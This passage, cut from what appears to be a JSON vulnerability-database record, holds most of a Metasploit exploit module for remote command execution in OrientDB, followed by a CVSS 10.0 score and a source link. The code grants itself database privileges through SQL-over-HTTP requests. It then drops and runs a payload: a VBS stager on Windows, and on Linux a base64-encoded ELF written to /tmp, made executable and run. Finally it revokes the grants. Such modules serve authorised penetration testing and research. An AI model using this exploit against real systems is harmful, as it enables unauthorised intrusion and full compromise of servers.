\"#{@uri.path}listDatabases\"})\n if res && res.code == 200 && res.body.length > 0\n begin\n json_body = JSON.parse(res.body)[\"databases\"]\n rescue JSON::ParserError\n print_error(\"Unable to parse JSON\")\n return\n end\n else\n print_error(\"Timeout or unexpected response...\")\n return\n end\n targetdb = json_body[0]\n http_send_command(cmd,targetdb)\n end\n\n def linux_stager\n cmds = \"echo LINE | tee FILE\"\n exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)\n base64 = Rex::Text.encode_base64(exe)\n base64.gsub!(/\\=/, \"\\\\u003d\")\n file = rand_text_alphanumeric(4+rand(4))\n execute_command(\"touch /tmp/#{file}.b64\")\n cmds.gsub!(/FILE/, \"/tmp/\" + file + \".b64\")\n base64.each_line do |line|\n line.chomp!\n cmd = cmds\n cmd.gsub!(/LINE/, line)\n execute_command(cmds)\n end\n execute_command(\"base64 -d /tmp/#{file}.b64|tee /tmp/#{file}\")\n execute_command(\"chmod +x /tmp/#{file}\")\n execute_command(\"rm /tmp/#{file}.b64\")\n execute_command(\"/tmp/#{file}\")\n @to_delete = \"/tmp/#{file}\"\n end\n\n def exploit\n @uri = target_uri\n @uri.path = normalize_uri(@uri.path)\n res = send_request_raw({'uri' => \"#{@uri.path}listDatabases\"})\n if res && res.code == 200 && res.body.length > 0\n begin\n json_body = JSON.parse(res.body)[\"databases\"]\n rescue JSON::ParserError\n print_error(\"Unable to parse JSON\")\n return\n end\n else\n print_error(\"Timeout or unexpected response...\")\n return\n end\n targetdb = json_body[0]\n privs_enable = ['create','read','update','execute','delete']\n items = ['database.class.ouser','database.function','database.systemclusters']\n # Set the required DB permissions\n privs_enable.each do |priv|\n items.each do |item|\n request_parameters = {\n 'method' => 'POST',\n 'uri' => normalize_uri(@uri.path, \"/command/#{targetdb}/sql/-/20\"),\n 'vars_get' => { 'format' => 'rid,type,version,class,graph' },\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'headers' => { 'Accept' => '*/*' },\n 'data' => \"GRANT #{priv} ON #{item} TO writer\"\n }\n res = send_request_raw(request_parameters)\n end\n end\n # Exploit\n case target['Platform']\n when 'win'\n print_status(\"#{rhost}:#{rport} - Sending command stager...\")\n execute_cmdstager(flavor: :vbs)\n when 'unix'\n print_status(\"#{rhost}:#{rport} - Sending payload...\")\n res = http_send_command(\"#{payload.encoded}\",\"#{targetdb}\")\n when 'linux'\n print_status(\"#{rhost}:#{rport} - Sending Linux stager...\")\n linux_stager\n end\n handler\n # Final Cleanup\n privs_enable.each do |priv|\n items.each do |item|\n request_parameters = {\n 'method' => 'POST',\n 'uri' => normalize_uri(@uri.path, \"/command/#{targetdb}/sql/-/20\"),\n 'vars_get' => { 'format' => 'rid,type,version,class,graph' },\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'headers' => { 'Accept' => '*/*' },\n 'data' => \"REVOKE #{priv} ON #{item} FROM writer\"\n }\n res = send_request_raw(request_parameters)\n end\n end\n end\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/orientdb_exec.rb"}]}